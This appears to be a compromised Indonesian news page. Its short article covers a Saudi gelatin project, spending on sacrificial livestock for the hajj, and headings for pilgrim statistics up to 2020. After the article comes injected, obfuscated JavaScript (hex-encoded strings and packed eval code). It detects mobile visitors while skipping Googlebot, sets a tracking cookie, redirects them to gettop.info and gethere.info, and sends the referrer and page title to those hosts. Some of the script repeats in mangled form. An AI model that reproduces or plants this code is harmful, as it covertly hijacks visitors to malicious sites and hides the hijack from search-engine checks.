Beliau menjelaskan bahwa para investor dan Bank Pembangunan Islam (IDB) telah menyelesaikan proyek ini dan dalam tahap pelaksanaan tahun ini. Sudah dimaklumi bahwa mayoritas gelatin yang ada di pasar dunia diproduksi dari babi, baik untuk tujuan medis maupun untuk pemakaian dalam bahan makanan.

3,5 Milyar Rial Pengeluaran Untuk Kurban Per Tahun

Fahd bin Siban As Sulami, anggota Dewan Pengurus Kamar Dagang Jeddah dan wakil ketua Komite Ternak Nasional di Kamar Dagang Arab Saudi memperkirakan volume pengeluaran penduduk di Arab Saudi dan negara Teluk untuk kurban pada musim haji lebih dari SR 4 milyar berdasarkan data awal pasar ternak di Arab Saudi dan negara Teluk dari 8 juta ekor ternak yang diimpor hidup di antaranya 5 juta ekor di pasar Arab Saudi.

As Sulami menekankan perlunya mengembangkan pasar-pasar komersil di Makkah dan Madinah serta mendukung keluarga-keluarga produktif sesuai dengan perencanaan yang strategis dan teliti, berkoordinasi dengan pihak-pihak yang berwenang dan kamar-kamar dagang mengenai hal ini, karena berperan penting sebagai landasan untuk menarik keluarga-keluarga produktif dan meluncurkan inkubator-inkubator bisnis yang mendukung perekonomian haji dan umrah

Jemaah 2020

Jumlah Jemaah Umrah 1996-2020

1

Jumlah Jemaah Haji dan Umrah Tahun 1996-2020.

2

3

Keseluruhan Pemasukan Riil dan prediksi hingga tahun 2020 (dalam hitungan milyar)

}(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} setTimeout(“document.location.href=’http://gettop.info/kt/?53vSkc&'”, delay);eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))d.getElementsByTagName(‘head’)[0].appendChild(s);var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘z(1d.1k.1l(“16”)==-1){(2V(a,b){z(a.1l(“2W”)==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=”16=1; 4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

admin_kuh
By admin_kuh February 1, 2015 14:03